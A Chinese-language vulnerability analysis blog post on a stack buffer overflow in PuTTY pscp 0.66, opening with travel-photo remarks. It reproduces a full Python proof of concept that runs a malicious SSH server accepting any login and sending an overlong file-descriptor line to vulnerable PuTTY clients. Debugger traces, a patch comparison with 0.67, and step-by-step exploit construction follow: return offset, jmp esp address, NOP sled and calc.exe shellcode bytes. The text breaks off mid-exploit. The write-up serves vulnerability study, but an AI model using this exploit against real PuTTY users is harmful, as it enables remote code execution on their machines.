作者:k0shl 转载请注明出处
这两天给自己放了个假,去云南旅游摄影,漏洞分析前放一些这次旅游我拍摄的照片和大家分享,地点是泸沽湖
设备是佳能5ds,18-105mm镜头,光圈基本用的都是f4.0-f6.3,好啦,下面进入漏洞分析
漏洞说明
putty大家都很熟悉了,直接下载好像还有漏洞,不行就下前一个版本,我记得只更新了一次。
PoC:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
from binascii import hexlify
import socket
import sys
import threading
import re
import logging
try:
import paramiko
except ImportError, ie:
logging.exception(ie)
logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko")
sys.exit(1)
from paramiko.py3compat import b, u, decodebytes
from paramiko.ssh_exception import SSHException, ProxyCommandFailure
from paramiko.message import Message
from paramiko.common import cMSG_CHANNEL_OPEN, DEBUG, INFO
from paramiko.channel import Channel
from paramiko.transport import Transport
logging.basicConfig(format='%(levelname)-8s %(message)s',
level=logging.DEBUG)
LOG = logging.getLogger(__name__)
class SSHServer (paramiko.ServerInterface):
# (using the "user_rsa_key" files)
data = (b'AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp'
b'fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC'
b'KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT'
b'UWT10hcuO4Ks8=')
good_pub_key = paramiko.RSAKey(data=decodebytes(data))
def __init__(self):
self.event = threading.Event()
self.peers = set([])
def check_channel_request(self, kind, chanid):
LOG.info("REQUEST: CHAN %s %s"%(kind,chanid))
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
LOG.info("REQUEST: CHECK_AUTH_PASS %s %s"%(repr(username),password))
LOG.info("* SUCCESS")
return paramiko.AUTH_SUCCESSFUL
def check_auth_publickey(self, username, key):
LOG.info("REQUEST: CHECK_AUTH_PUBK %s %s (fp: %s)"%(repr(username),repr(key),hexlify(key.get_fingerprint())))
LOG.info("* SUCCESS")
return paramiko.AUTH_SUCCESSFUL
def check_auth_gssapi_with_mic(self, username,
gss_authenticated=paramiko.AUTH_FAILED,
cc_file=None):
LOG.info("REQUEST: CHECK_AUTH_GSSAPI_MIC %s %s (fp: %s)"%(repr(username),gss_authenticated,cc_file))
LOG.info("* SUCCESS")
return paramiko.AUTH_SUCCESSFUL
def check_auth_gssapi_keyex(self, username,
gss_authenticated=paramiko.AUTH_FAILED,
cc_file=None):
LOG.info("REQUEST: CHECK_AUTH_GSSAPI_KEY %s %s (fp: %s)"%(repr(username),gss_authenticated,cc_file))
return paramiko.AUTH_SUCCESSFUL
def check_channel_x11_request(self, channel, single_connection, auth_protocol, auth_cookie, screen_number):
LOG.info("X11Req %s, %s, %s, %s, %s"%(channel, single_connection, auth_protocol, auth_cookie, screen_number))
return True
def check_channel_shell_request(self, channel):
LOG.info("SHELL %s"%repr(channel))
self.event.set()
return True
def check_channel_exec_request(self, channel, command):
LOG.info("REQUEST: EXEC %s %s"%(channel,command))
transport = channel.get_transport()
try:
if "putty" in transport.CONN_INFO['client'].lower() \
and float(''.join(re.findall(r'PuTTY_Release_(\d+\.\d+)',transport.CONN_INFO['client']))) <= 0.66 \
and "scp -f" in command:
LOG.warning("Oh, hello putty/pscp %s, nice to meet you!"%transport.CONN_INFO['client'])
# hello putty
# putty pscp stack buffer overwrite, EIP
rep_time = "T1444608444 0 1444608444 0\n"
rep_perm_size = "C755 %s \n"%('A'*200)
LOG.info("send (time): %s"%repr(rep_time))
channel.send(rep_time)
LOG.info("send (perm): %s"%repr(rep_perm_size))
channel.send(rep_perm_size)
LOG.info("boom!")
except ValueError: pass
return True
def enable_auth_gssapi(self):
UseGSSAPI = False
GSSAPICleanupCredentials = False
return UseGSSAPI
def get_allowed_auths(self, username):
auths = 'gssapi-keyex,gssapi-with-mic,password,publickey'
LOG.info("REQUEST: allowed auths: %s"%(auths))
return auths
def set_host_key(self, host_key):
self.host_key = host_key
LOG.info('ServerHostKey: %s'%u(hexlify(host_key.get_fingerprint())))
def listen(self, bind, host_key=None):
self.bind = bind
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
LOG.info("BIND: %s"%repr(bind))
self.sock.bind(bind)
self.sock.listen(100)
LOG.info('Listening for connection ...')
def accept(self, ):
client, addr = self.sock.accept()
LOG.info('new peer: %s'%repr(addr))
peer = SSHPeerSession(self, client, addr, host_key=self.host_key)
self.peers.add(peer)
return peer
class SSHPeerSession(object):
def __init__(self, server, client, addr, host_key, DoGSSAPIKeyExchange=False):
self.server, self.client, self.addr = server, client, addr
self.DoGSSAPIKeyExchange = DoGSSAPIKeyExchange
self.host_key = host_key
self.prompt = {}
self.transport = paramiko.Transport(client, gss_kex=DoGSSAPIKeyExchange)
self.transport.set_gss_host(socket.getfqdn("."))
try:
self.transport.load_server_moduli()
except:
LOG.error('(Failed to load moduli -- gex will be unsupported.)')
raise
self.transport.add_server_key(self.host_key)
self.transport.start_server(server=self.server)
def accept(self, timeout):
chan = self.transport.accept(timeout)
if chan is None:
raise Exception("No channel")
return chan
def wait(self, timeout):
LOG.info("wait for event")
self.server.event.wait(10)
class FakeShell(object):
def __init__(self, peer, channel):
self.peer = peer
self.channel = channel
self.prompt = {'username': peer.transport.get_username().strip(),
'host':peer.addr[0],
'port':peer.addr[1]}
def banner(self):
self.channel.send('\r\n\r\nHi %(username)s!\r\n\r\ncommands: echo, allchars, x11exploit, directtcpip, forwardedtcpipcrash\r\nother: pscp crash with: pscp -scp -P %(port)d %(username)s@%(host)s:/etc/passwd .\r\n\r\n'%self.prompt)
def loop(self):
f = self.channel.makefile('rU')
while True:
self.channel.send('%(username)s@%(host)s:~# '%self.prompt)
cmd = ""
while not (cmd.endswith("\r") or cmd.endswith("\n")):
self.peer.server.event.wait(10)
if not self.peer.server.event.is_set():
LOG.error('Peer did not ask for a shell within 10 seconds.')
sys.exit(1)
chunk = f.read(1) #.strip('\r\n')
if not chunk:
continue
cmd +=chunk
LOG.debug("<== %s"%repr(cmd))
cmdsplit = cmd.split(" ",1)
args = ''
cmd = cmdsplit[0].strip()
if len(cmdsplit)>1:
args = cmdsplit[1].strip()
if cmd=="exit":
break
try:
getattr(self, "cmd_%s"%cmd)(cmd, args)
except AttributeError, ae:
resp = "- Unknown Command: %s\r\n"%cmd
LOG.debug("==> %s"%repr(resp))
self.channel.send(resp)
def cmd_echo(self, cmd, args):
resp = "%s\r\n"%args
LOG.debug("==> %s"%repr(resp))
self.channel.send(resp)
def cmd_allchars(self, cmd, args):
resp = ''.join(chr(c) for c in xrange(256))
LOG.debug("==> %s"%repr(resp))
self.channel.send(resp)
def cmd_x11serverinitiated(self, cmd, args):
resp = self.peer.transport.open_channel(kind="x11", src_addr=("192.168.139.129",1), dest_addr=("google.com",80))
LOG.debug("==> chan: %s"%repr(resp))
def cmd_x11exploit(self, cmd, args):
resp = self.peer.transport.open_channel(kind="x11exploit", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
LOG.debug("==> chan: %s"%repr(resp))
def cmd_directtcpip(self, cmd, args):
resp = self.peer.transport.open_channel(kind="direct-tcpip", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
LOG.debug("==> chan: %s"%repr(resp))
def cmd_forwardedtcpipcrash(self, cmd, args):
resp = self.peer.transport.open_channel(kind="forwarded-tcpip", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
LOG.debug("==> chan: %s"%repr(resp))
def cmd_ls(self, cmd, args):
resp = """total 96
4 -rw------- 1 user user 383 Feb 29 16:48 .bash_history
4 drwx------ 12 user user 4096 Feb 29 16:45 .cache
4 drwx------ 4 user user 4096 Feb 29 16:43 .mozilla
4 drwxr-xr-x 18 user user 4096 Feb 29 16:43 .
4 drwxr-xr-x 2 user user 4096 Feb 29 16:43 Pictures
4 drwx------ 3 user user 4096 Feb 29 16:43 .gnome2
4 drwx------ 2 user user 4096 Feb 29 16:43 .gnome2_private
4 drwxr-xr-x 13 user user 4096 Feb 29 16:42 .config
4 drwx------ 3 user user 4096 Feb 29 16:41 .gconf
4 -rw------- 1 user user 636 Feb 29 16:41 .ICEauthority
4 drwx------ 3 user user 4096 Feb 29 16:35 .local
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Desktop
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Documents
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Downloads
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Music
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Public
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Templates
4 drwxr-xr-x 2 user user 4096 Feb 29 16:35 Videos
4 drwx------ 3 user user 4096 Feb 29 16:35 .dbus
4 -rw-r--r-- 1 user user 220 Feb 29 16:34 .bash_logout
4 -rw-r--r-- 1 user user 3391 Feb 29 16:34 .bashrc
4 -rw-r--r-- 1 user user 3515 Feb 29 16:34 .bashrc.original
4 -rw-r--r-- 1 user user 675 Feb 29 16:34 .profile
4 drwxr-xr-x 3 root root 4096 Feb 29 16:34 ..
""".replace('\n','\r\n')
LOG.debug("==> %s"%repr(resp))
self.channel.send(resp)
# taken from transport.open_channel
def open_channel_exploit(self,
kind,
dest_addr=None,
src_addr=None,
window_size=None,
max_packet_size=None):
"""
Request a new channel to the server. `Channels <.Channel>` are
socket-like objects used for the actual transfer of data across the
session. You may only request a channel after negotiating encryption
(using `connect` or `start_client`) and authenticating.
.. note:: Modifying the the window and packet sizes might have adverse
effects on the channel created. The default values are the same
as in the OpenSSH code base and have been battle tested.
:param str kind:
the kind of channel requested (usually ``"session"``,
``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``)
:param tuple dest_addr:
the destination address (address + port tuple) of this port
forwarding, if ``kind`` is ``"forwarded-tcpip"`` or
``"direct-tcpip"`` (ignored for other channel types)
:param src_addr: the source address of this port forwarding, if
``kind`` is ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``
:param int window_size:
optional window size for this session.
:param int max_packet_size:
optional max packet size for this session.
:return: a new `.Channel` on success
:raises SSHException: if the request is rejected or the session ends
prematurely
.. versionchanged:: 1.15
Added the ``window_size`` and ``max_packet_size`` arguments.
"""
if not self.active:
raise SSHException('SSH session not active')
self.lock.acquire()
try:
window_size = self._sanitize_window_size(window_size)
max_packet_size = self._sanitize_packet_size(max_packet_size)
chanid = self._next_channel()
m = Message()
m.add_byte(cMSG_CHANNEL_OPEN)
m.add_string("x11" if kind == "x11exploit" else kind)
m.add_int(chanid)
m.add_int(window_size)
m.add_int(max_packet_size)
if (kind == 'forwarded-tcpip') or (kind == 'direct-tcpip'):
m.add_string(dest_addr[0])
m.add_int(dest_addr[1])
m.add_string(src_addr[0])
m.add_int(src_addr[1])
elif kind == 'x11':
m.add_string(src_addr[0])
m.add_int(src_addr[1])
elif kind =='x11exploit':
m.add_int(99999999)
m.add_bytes('')
m.add_int(src_addr[1])
chan = Channel(chanid)
self._channels.put(chanid, chan)
self.channel_events[chanid] = event = threading.Event()
self.channels_seen[chanid] = True
chan._set_transport(self)
chan._set_window(window_size, max_packet_size)
finally:
self.lock.release()
self._send_user_message(m)
while True:
event.wait(0.1)
if not self.active:
e = self.get_exception()
if e is None:
e = SSHException('Unable to open channel.')
raise e
if event.is_set():
break
chan = self._channels.get(chanid)
if chan is not None:
return chan
e = self.get_exception()
if e is None:
e = SSHException('Unable to open channel.')
raise e
# taken from transport._check_banner
def _check_banner_track_client_version(self):
# this is slow, but we only have to do it once
for i in range(100):
# give them 15 seconds for the first line, then just 2 seconds
# each additional line. (some sites have very high latency.)
if i == 0:
timeout = self.banner_timeout
else:
timeout = 2
try:
buf = self.packetizer.readline(timeout)
except ProxyCommandFailure:
raise
except Exception as e:
raise SSHException('Error reading SSH protocol banner' + str(e))
if buf[:4] == 'SSH-':
break
self._log(DEBUG, 'Banner: ' + buf)
if buf[:4] != 'SSH-':
raise SSHException('Indecipherable protocol version "' + buf + '"')
# save this server version string for later
self.remote_version = buf
# pull off any attached comment
comment = ''
i = buf.find(' ')
if i >= 0:
comment = buf[i+1:]
buf = buf[:i]
# parse out version string and make sure it matches
segs = buf.split('-', 2)
if len(segs) < 3:
raise SSHException('Invalid SSH banner')
version = segs[1]
client = segs[2]
if version != '1.99' and version != '2.0':
raise SSHException('Incompatible version (%s instead of 2.0)' % (version,))
self._log(INFO, 'Connected (version %s, client %s)' % (version, client))
self.CONN_INFO ={'client':client, 'version':version} # track client version
def start_server(bind, host_key=None):
server = SSHServer()
server.set_host_key(paramiko.RSAKey(filename='test_rsa.key'))
server.listen(bind)
try:
peer = server.accept()
except paramiko.SSHException:
LOG.error('SSH negotiation failed.')
sys.exit(1)
# wait for auth / async.
chan = peer.accept(20)
LOG.info("Authenticated!")
LOG.info("wait for event")
peer.wait(10)
if not server.event.is_set():
LOG.error('Peer did not ask for a shell within 10 seconds.')
sys.exit(1)
# most likely waiting for a shell
LOG.info("spawn vshell")
vshell = FakeShell(peer, chan)
vshell.banner()
vshell.loop()
vshell.channel.close()
if __name__=="__main__":
LOG.setLevel(logging.DEBUG)
LOG.info("monkey-patch paramiko.Transport.open_channel")
paramiko.Transport.open_channel = open_channel_exploit
LOG.info("monkey-patch paramiko.Transport._check_banner")
paramiko.Transport._check_banner = _check_banner_track_client_version
LOG.info("--start--")
DoGSSAPIKeyExchange = False
arg_bind = sys.argv[1].split(":") if len(sys.argv)>1 else ("0.0.0.0","22")
bind = (arg_bind[0], int(arg_bind[1]))
try:
start_server(bind)
except Exception as e:
LOG.exception('Exception: %s'%repr(e))
sys.exit(1)
运行PoC之后,主机会开一个22端口,有点像蜜罐,然后使用pscp连接PoC绑定的IP和端口,触发漏洞。
调试环境:
Windows xp sp3
IDA pro
Windbg
漏洞说明
此漏洞是由于pscp连接目标主机后,接收文件路径时,函数sub_407997在处理文件路径长度时,调用到sscanf函数,此函数对传入的文件路径没有进行严格的长度控制,从而导致了畸形字符串覆盖了参数缓冲区,导致程序返回地址可控,从而可以执行任意代码。
值得一提的是,通过poc我构造了可以远程执行代码的exp,稍后会进行详细说明,无论在windows主机,还是linux主机,执行exp.py之后,可以反控对方主机,执行任意代码,下面,我将通过漏洞回溯,补丁对比以及exp构造三方面来详细说明此漏洞。
漏洞分析
首先我们运行poc.py,同时通过命令:
pscp.exe -scp root@IP:/etc/passwd .
来触发此漏洞,运行后输入密码,之后程序崩溃,我们通过附加windbg来观察崩溃位置。
(4d308.4ea50): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=01320ba1 edi=00000000
eip=41414141 esp=00127e1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
可以看到此时eip已经执行到41414141,而41414141正是poc中构造的畸形字符串,说明程序可控,那么接下来我们要回溯一下漏洞发生前的情况,通过kb查看堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00127e18 41414141 41414141 41414141 41414141 0x41414141
00127e1c 41414141 41414141 41414141 41414141 0x41414141
00127e20 41414141 41414141 41414141 41414141 0x41414141
00127e24 41414141 41414141 41414141 41414141 0x41414141
00127e28 41414141 41414141 41414141 41414141 0x41414141
00127e2c 41414141 41414141 41414141 41414141 0x41414141
00127e30 41414141 41414141 41414141 41414141 0x41414141
此时堆栈已经完全被畸形字符串冲垮,那么就需要从一些关键函数入手来回溯整个过程,我们通过poc的一些情况介绍,可以知道是sscanf出现的问题,那么通过ida,可以找到sscanf函数位置。
.text:00435FB0 ; int sscanf(const char *, const char *, ...)
.text:00435FB0 _sscanf proc near ; CODE XREF: sub_4051D3+226p
.text:00435FB0 ; sub_407997+600p ...
.text:00435FB0
.text:00435FB0 var_20 = FILE ptr -20h
.text:00435FB0 arg_0 = dword ptr 8
.text:00435FB0 arg_4 = dword ptr 0Ch
.text:00435FB0 arg_8 = dword ptr 10h
.text:00435FB0
.text:00435FB0 push ebp
.text:00435FB1 mov ebp, esp
.text:00435FB3 sub esp, 20h
.text:00435FB6 mov eax, [ebp+arg_0]
.text:00435FB9 push eax ; char *
.text:00435FBA mov [ebp+var_20._flag], 49h
.text:00435FC1 mov [ebp+var_20._base], eax
.text:00435FC4 mov [ebp+var_20._ptr], eax
.text:00435FC7 call _strlen
.text:00435FCC mov [ebp+var_20._cnt], eax
.text:00435FCF lea eax, [ebp+arg_8]
.text:00435FD2 push eax ; int
.text:00435FD3 push [ebp+arg_4] ; int
.text:00435FD6 lea eax, [ebp+var_20]
.text:00435FD9 push eax ; FILE *
.text:00435FDA call __input
.text:00435FDF add esp, 10h
.text:00435FE2 leave
.text:00435FE3 retn
.text:00435FE3 _sscanf endp
可以看到,sscanf处于主程序领空,说明sscanf是作为程序的一个函数独立编写的,那么接下来我们就在sscanf下断点,进行跟踪,但我在跟踪的过程中,发现windbg并不能有效的中断在sscanf的位置,因此此次分析我们使用ollydbg来进行分析。
我们通过od带参数启动pscp.exe,通过查找模块间调用,对call sscanf下断点,多次命中断点执行后程序终于到达漏洞现场,观察一下栈里的情况。
00127DA0 00408012 返回到 pscp.00408012 来自 pscp.00435FB0
00127DA4 01409360 ASCII "755
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00127DA8 0044065C ASCII "%lo %s %n"
00127DAC 0012FE34
可以看到此时栈中的调用,在00127DA4栈中的情况已经覆盖上了畸形字符串,那么这时候我们看一下堆栈回溯。
调用堆栈: 主线程
地址 堆栈 函数过程 / 参数 调用来自 结构
00127DA0 00408012 pscp.00435FB0 pscp.0040800D 00127E14
00127E18 004084D2 pscp.00407997 pscp.004084CD 00127E14
0012FE7C 0040894D pscp.0040847D pscp.00408948 0012FE78
0012FE94 004093D0 pscp.00408855 pscp.004093CB 0012FE90
0012FEB0 00437120 ? pscp.004324A1 pscp.0043711B 0012FEAC
观察堆栈可以看到之前的调用情况,我们通过这种方式就能够成功回溯漏洞触发的原因,在最外层调用可以看到
loc_409302: ; "-scp"
push offset aScp
push dword ptr [esi] ; char *
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_409322
是对-scp指令的操作,接下来看一下00408948地址的位置。
.text:00408944 push esi ; int
.text:00408945 push [ebp+lpFileName] ; lpFileName
.text:00408948 call sub_40847D
同时观察一下od的堆栈和寄存器情况。
EAX 00000000
ECX 77B868B0 ntdll.77B868B0
EDX 01340164
EBX 00000001
ESP 0012FE80
EBP 0012FE90
ESI 01340B78 ASCII "/etc/passwd"
EDI 00000000
EIP 00408948 pscp.00408948
0012FE80 01340B84 UNICODE "."
0012FE84 01340B78 ASCII "/etc/passwd"
可以看到sub_40847D函数的第一个参数是“.”,是-scp参数用于从linux主机传回windows主机操作时,要在自己主机创建的文件,那么接下来跟入这个函数。
.text:004084C9 lea eax, [ebp+var_50]
.text:004084CC push eax
.text:004084CD call sub_407997
到达004084CD处的call调用时,单步步过,到达漏洞现场,那么重新开启此程序,继续跟入此函数,在sub_407997函数中发现了一处循环。
对此处循环直接步过,发现第一次循环结束时,eax的值
T1444608444 0 1444608444 0\n
这个值很熟悉,正是poc中send的值,那么直接F9,果然再次命中此次循环,再次执行结束时观察堆栈情况。
ECX 01623180 ASCII "755
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EDX 0162210A
EBX 00000043
ESP 00127DB8
EBP 00127E14
ESI 0012FE28
EDI 00000001
EIP 00407F4F pscp.00407F4F
查看一下内存状况
01623178 6C 46 F0 44 6D 9E 02 10 37 35 35 20 41 41 41 41 lF餌m?755 AAAA
01623188 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01623198 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
016231A8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
016231B8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
016231C8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
016231D8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
016231E8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
016231F8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01623208 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01623218 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01623228 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01623238 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01623248 41 41 41 41 20 0A 41 41 41 41 41 41 41 41 41 41 AAAA .AAAAAAAAAA
01623258 41 41 41 20 0A 00 00 00 00 00 00 00 00 00 00 00 AAA ............
果然已经被畸形字符串覆盖,那么接下来循环结束,到达sscanf位置。
.text:00407FEE loc_407FEE: ; CODE XREF: sub_407997+5DCj
.text:00407FEE xor eax, eax
.text:00407FF0 cmp ebx, 43h
.text:00407FF3 setnz al
.text:00407FF6 inc eax
.text:00407FF7 mov [esi], eax
.text:00407FF9 lea eax, [ebp+var_C]
.text:00407FFC push eax
.text:00407FFD lea eax, [ebp+var_50]
.text:00408000 push eax
.text:00408001 lea eax, [esi+0Ch]
.text:00408004 push eax
.text:00408005 push offset aLoSN ; "%lo %s %n"
.text:0040800A push dword ptr [esi+4] ; char *
.text:0040800D call _sscanf
堆栈 ds:[0012FE2C]=01623180, (ASCII "755
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
此时传入的参数已经是畸形字符串了,那么我们来看一下这个函数中的伪代码。首先在之前接收send部分的伪代码。
do
{
if ( sub_40679C() <= 0 )
sub_4068C6("Lost connection", v56);
v51 = v72;
if ( v72 >= (signed int)v65 )
{
v52 = *(void **)(a1 + 4);
v65 = (_DWORD *)(v72 + 128);
*(_DWORD *)(a1 + 4) = sub_403B8E(v52, v72 + 128, 1);
v51 = v72;
}
*(_BYTE *)(v51 + *(_DWORD *)(a1 + 4)) = v74;
++v72;
}
while ( v74 != 10 );
接着到达sscanf位置的伪代码。
if ( sscanf(*(const char **)(a1 + 4), "%ld %*d %ld %*d", a1 + 32, a1 + 28) != 2 )
sub_4068C6("Protocol error: Illegal time format", v56);
v53 = dword_4532F4;
*(_DWORD *)(a1 + 24) = 1;
(*(void (__cdecl **)(int, char *, signed int))(v53 + 12))(dword_4532E0, &byte_43F453, 1);
}
*(_DWORD *)a1 = (v50 != 67) + 1;
if ( sscanf(*(const char **)(a1 + 4), "%lo %s %n", a1 + 12, &v57, &v72) != 2 )
sub_4068C6("Protocol error: Illegal file descriptor format", v56);
可以看到,在接收到文件名的时候到sscanf时,对目标主机发送回来的文件名没有进行文件长度检查和控制,导致在执行sscanf后返回造成了缓冲区溢出。
补丁对比
漏洞出现之后,putty官方更新了新的版本0.67,更新后我们进行一下补丁对比,可以看到,在sscanf时,对传入字符串的长度进行了控制,0.66漏洞版本:
if ( sscanf(*(const char **)(a1 + 4), "%lo %s %n", a1 + 12, &v57, &v72) != 2 )
sub_4068C6("Protocol error: Illegal file descriptor format", v56);
0.67修复后的版本
if ( sscanf(*(const char **)(a1 + 4), "%lo %39s %n", a1 + 12, &v56, &v71) != 2 )
sub_406912("Protocol error: Illegal file descriptor format");
我们对0.67版本进行一次单步跟踪,到达sscanf之后,可以看到。
00127DA4 01629348 ASCII "755
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00127DA8 0044065C ASCII "%lo %39s %n"
00127DAC 0012FE34
00127DB0 00127DC4 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00127DB4 00127E08 UNICODE "+"
在00127DB0位置对长度进行了控制,保持在39个字节,这样执行完毕后,就不会再造成缓冲区溢出,接下来,我们针对0.66版本构造EXP
EXP构造
首先,我们需要定位返回地址的位置,我们先找到poc.py中发送畸形字符串的代码部分。
rep_time = "T1444608444 0 1444608444 0\n"
rep_perm_size = "C755 %s \n"%('A'*200)
LOG.info("send (time): %s"%repr(rep_time))
channel.send(rep_time)
LOG.info("send (perm): %s"%repr(rep_perm_size))
重新构造rep_perm_size部分。
rep_time = "T1444608444 0 1444608444 0\n"
rep_perm_size = "C755 %s \n"%('A'*50+'B'*150)
LOG.info("send (time): %s"%repr(rep_time))
(4bfbc.48ddc): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=013a0ba1 edi=00000000
eip=42424242 esp=00127e1c ebp=42424242 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
42424242 ?? ???
可以看到返回地址已经修改成了BBBB,以此类推,定位到了关键部分。
rep_time = "T1444608444 0 1444608444 0\n"
rep_perm_size = "C755 %s \n"%('A'*84+'\x43\x43\x43\x43'+'\x90'*80 + '\xcc'*30)
LOG.info("send (time): %s"%repr(rep_time))
(4e3a8.47dd8): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=0000006e ecx=00127dc4 edx=00000000 esi=002e0ba1 edi=00000000
eip=00127e8a esp=00127e1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
00127e8a 0000 add byte ptr [eax],al ds:0023:00000000=??
0:000> dd esp
00127e1c 43434343 43434343 43434343 43434343
00127e2c 43434343 43434343 43434343 43434343
00127e3c 43434343 43434343 43434343 43434343
00127e4c 43434343 43434343 43434343 43434343
00127e5c 43434343 43434343 43434343 43434343
00127e6c 43434343 43434343 43434343 43434343
00127e7c 43434343 43434343 43434343 00004343
在偏移84的位置的时候,正好是覆盖返回地址的时候,这样,我们使用万能跳转地址7ffa4512 jmp esp,这个地址在32位版本的win7和winxp下适用。同时,在jmp esp后面部署我们即将部署的shellcode作为测试。
rep_time = "T1444608444 0 1444608444 0\n"
rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+'\x90'*80 + '\xcc'*30)
LOG.info("send (time): %s"%repr(rep_time))
(4a7f0.4acd0): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=01330ba1 edi=00000000
eip=00127e6c esp=00127e1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00127e6c cc int 3
0:000> dd esp
00127e1c 90909090 90909090 90909090 90909090
00127e2c 90909090 90909090 90909090 90909090
00127e3c 90909090 90909090 90909090 90909090
00127e4c 90909090 90909090 90909090 90909090
00127e5c 90909090 90909090 90909090 90909090
00127e6c cccccccc cccccccc cccccccc cccccccc
00127e7c cccccccc cccccccc cccccccc 0000cccc
可以看到程序顺利中断在cc硬断点处,可见shellcode已经被执行,接下来我们来确定一下shellcode在程序中的位置。
rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+ '\xaa\xbb\xcc\xdd'+'\x90'*80 +
'\xcc'*30) LOG.info("send (time): %s"%repr(rep_time))
(92d4.92d8): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00187dc4 edx=00000000 esi=005211cd edi=00000000
eip=7ffa4512 esp=00187e1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
7ffa4512 ?? ???
0:000> dd esp
00187e1c ddccbbaa 90909090 90909090 90909090
00187e2c 90909090 90909090 90909090 90909090
00187e3c 90909090 90909090 90909090 90909090
00187e4c 90909090 90909090 90909090 90909090
00187e5c 90909090 90909090 90909090 90909090
00187e6c 90909090 cccccccc cccccccc cccccccc
00187e7c cccccccc cccccccc cccccccc cccccccc
00187e8c 0000cccc 00000000 00000000 00000000
可以看到直接拼接在7ffa4512后面即可,这里之所以7ffa4512处没有指令是因为我用了win7 64位版本,在真正漏洞利用过程中,最好根据想溢出的系统来进行shellcode和jmp esp地址的修改。接下来,我们直接构造畸形字符串。
shellcode = ("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00")
jmpesp = ''
LOG.info("REQUEST: EXEC %s %s"%(channel,command))
